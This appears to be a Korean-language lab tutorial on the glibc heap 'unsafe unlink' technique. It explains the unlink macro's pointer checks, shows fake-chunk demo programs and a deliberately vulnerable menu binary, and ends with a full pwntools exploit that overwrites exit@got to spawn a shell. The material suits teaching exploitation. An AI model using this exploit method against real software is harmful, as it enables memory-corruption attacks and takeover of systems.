Unsafe unlink
Unsafe unlink는 해제된 청크들을 연결하는 이중 연결 리스트에서 청크를 연결 해제하는 매크로인 unlink를 이용해 임의 주소 쓰기를 하는 공격 기법이다.
unsafe unlink 기법은 전역 버퍼와 같이 주소를 알고 있는 위치에 unlink될 청크의 주소가 저장되어 있는 경우에 사용할 수 있다.
unlink
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
unlink 매크로는 인접한 2개 이상의 청크를 연속해서 해제했을 때 인접한 청크를 병합하기 위해 사용된다.
이전 청크가 해제되어 있는지 확인하기 위해 현재 청크의 prev_inuse비트를 확인하고 해당 매크로를 호출하게 된다.
#define unlink(AV, P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (P->size) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}
call_unlink.c
#include <stdio.h>
#include <stdlib.h>
int main()
{
char *ptr = malloc(256);
char *ptr2 = malloc(256);
free(ptr);
free(ptr2);
return 0;
}
두 개의 청크를 연속해서 해제해 unlink 매크로를 호출하는 예제이다.
이전 버전에서의 unlink 매크로는 FD와 BK 포인터에 대한 검증이 존재하지 않았기 때문에 힙 포인터가 아닌 GOT, 라이브러리 주소 등을 입력하여 원하는 주소에 임의의 주소에 값을 쓰는 것이 가능했다.
glibc 2.23 버전에서는 FD와 BK포인터에 대한 검증이 존재해 힙 포인터를 제외한 주소에 값을 쓰는 것이 불가능하다.
unlink 매크로의 핵심 코드
#define unlink(AV, P, BK, FD) {
FD = P->fd;
BK = P->bk;
FD->bk = BK;
BK->fd = FD;
}
위 코드를 보면 P->fd->bk에 P->bk값을 대입하고 P->bk->fd에 P->fd값을 대입한다.
unlink 매크로에서 포인터를 검증하는 코드
if (_builtinexpect (FD->bk != P || BK->fd != P, 0)) \
mallocprinterr (checkaction, "corrupted double-linked list", P, AV);
FD->bk = BK와 BK->fd = FD 코드를 실행하기 전에 FD->bk와 BK->fd가 현재 청크의 포인터인지를 검증한다.
위 검증으로 인해 공격이 까다로워 졌지만, 공격자가 힙 포인터 주소를 알고 있다면 포인터의 주소를 대입하고 입력받음으로써 포인터 변수를 덮어쓸 수 있다.
힙 익스플로잇을 할 때는 Fake chunk를 구성하는 것이 핵심이다.
Fake chunk를 구성하는 이유는, 힙 청크의 메타데이터를 조작해서 ptmalloc2 메모리 할당자의 코드를 악용하되, 검증을 우회해야 하기 때문이다.
Check inuse
define PREV_INUSE 0x1
/* extract inuse bit of previous chunk */
#define prev_inuse(p) ((p)->size & PREV_INUSE)
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
해제할 청크의 prev_inuse 비트가 0인지 확인하는 코드가 존재한다.
Valid Chunk Pointer
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
FD->bk != P || BK->fd != P 해당 조건을 만족하지 않으면 "corrupted double-linked list" 오류를 출력하고 비정상 종료한다.
unlink1.c
#include <stdio.h>
#include <stdlib.h>
#define ALLOC_SIZE 0x410
#define FAKE_FD_OFFSET 2
#define FAKE_BK_OFFSET 3
#define PREV_IN_USE_OFFSET -2
#define CHUNK_SIZE_OFFSET -1
long *ptr1;
long *ptr2;
long target = 0;
int main()
{
fprintf(stderr, "target : 0x%lx\n", target);
ptr1 = malloc(ALLOC_SIZE);
ptr2 = malloc(ALLOC_SIZE);
ptr1[FAKE_FD_OFFSET] = (long)&ptr1 - sizeof(long) * 3;
ptr1[FAKE_BK_OFFSET] = (long)&ptr1 - sizeof(long) * 2;
ptr2[PREV_IN_USE_OFFSET] = ALLOC_SIZE;
ptr2[CHUNK_SIZE_OFFSET] &= ~1;
free(ptr2);
ptr1[3] = (long)⌖
ptr1[0] = 0xdeadbeefcafebabe;
fprintf(stderr, "target : 0x%lx\n", target);
}
위 코드는 ptr1과 ptr2에 두 개의 힙 청크를 할당한 후, ptr1에 Fake chunk를 구성하고 ptr2의 메타데이터를 조작하여 unsafe unlink르 발생시키는 예제이다.
ptr2의 prev_inuse 비트를 0으로 조작했기 때문에 ptr2를 해제할 때 unlink 매크로가 호출이 된다.
Fake chunk가 구성된 이후의 ptr1의 메모리 상태이다.
unlink로 인해 ptr1의 값이 &ptr1-3으로 바뀐 것을 알 수 있다. 이후 ptr1[3]을 참조해 ptr1의 값을 바꿈으로써 임의 주소 쓰기를 할 수 있다.
unlink1의 실행 결과이다.
unlink2.c
// gcc -o unlink2 unlink2.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *ptr[10];
void getshell()
{
system("/bin/sh");
}
int main()
{
int ch, idx, size;
int i = 0;
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while(1)
{
printf("> ");
scanf("%d", &ch);
switch(ch)
{
case 1:
if(i >= 10)
{
printf("Do not overflow\n");
exit(0);
}
ptr[i] = malloc(0x100);
printf("Data: ");
read(0, ptr[i], 0x100);
i++;
break;
case 2:
printf("idx: ");
scanf("%d", &idx);
free(ptr[idx]);
break;
case 3:
printf("idx: ");
scanf("%d", &idx);
printf("size: ");
scanf("%d", &size);
printf("data: ");
read(0, ptr[idx], size);
break;
case 4:
exit(0);
break;
default:
break;
}
}
return 0;
}
위 코드는 3번 메뉴를 통해 힙 데이터를 수정할 수 있고 힙 오버플로우가 발생하여 입력한 데이터가 다른 힙 영역을 침범할 수 있다.
익스 시나리오
1. 두 개의 힙을 할당한 후, 3번 메뉴를 이용해 첫 번째 힙의 데이터를 수정하여 P->fd->bk, P->bk->fd를 전역 변수인 힙 포인터 주소로 조작한다. 두 번째 힙의 prev_size를 이전 청크의 크기로 덮어쓰고 size의 prev_inuse 비트를 0으로 조작하여 이전 청크가 해제된것 처럼 조작한다.
2. 두 번째 힙을 해제하면 조작한 prev_size와 size로 인해 첫 번째 영역이 해제된 것으로 오인하여 unlink 매크로를 호출한다. unlink 매크로가 호출되어 병합을 시도하지만 P->fd->bk와 P->bk->fd는 전역 변수에 존재하는 힙 포인터를 가리키고 있기 때문에 전역 변수에 값을 쓰게 된다.
3. 전역 변수 주소로 조작된 힙 포인터를 3번 메뉴로 입력하게되면 모든 힙 포인터를 덮을 수 있게 된다. 이때, 힙 포인터를 exit@got로 조작한다.
4. 3번 메뉴를 통해 exit@got를 가리키고 있는 힙 포인터에 입력을 시도한다. exit@got를 giveshell 함수 주소로 덮어쓸 수 있다.
5. 4번 메뉴를 사용하여 exit 함수를 호출하면 셸을 획득할 수 있다.
exploit
from pwn import *
p = process('./unlink2')
elf = ELF('./unlink2')
def add(data):
print p.sendlineafter('>', '1')
print p.sendlineafter(':', str(data))
def free(idx):
print p.sendlineafter('>', '2')
print p.sendlineafter(':', str(idx))
def edit(idx, size, data):
print p.sendlineafter('>', '3')
print p.sendlineafter(':', str(idx))
print p.sendlineafter(':', str(size))
print p.sendlineafter(':', str(data))
def exit_func():
print p.sendlineafter('>', '4')
heap_ptr = elf.symbols['ptr']
shell = elf.symbols['getshell']
exit = elf.got['exit']
third_heap_ptr = heap_ptr + 16
add('AAAA')
add('AAAA')
add('AAAA')
add('AAAA')
payload = p64(0)*2
payload += p64(third_heap_ptr - 24) # P->fd->bk
payload += p64(third_heap_ptr - 16) # P->bk->fd
payload += 'A'*0xe0
payload += p64(0x100)
payload += p64(0x110)
edit(2, 0x130, payload)
free(3)
payload = p64(0)
payload += p64(exit) # ptr 0
edit(2, 16, payload)
edit(0, 8, p64(shell))
exit_func()
p.interactive()
위 프로그램을 실행한 결과이다.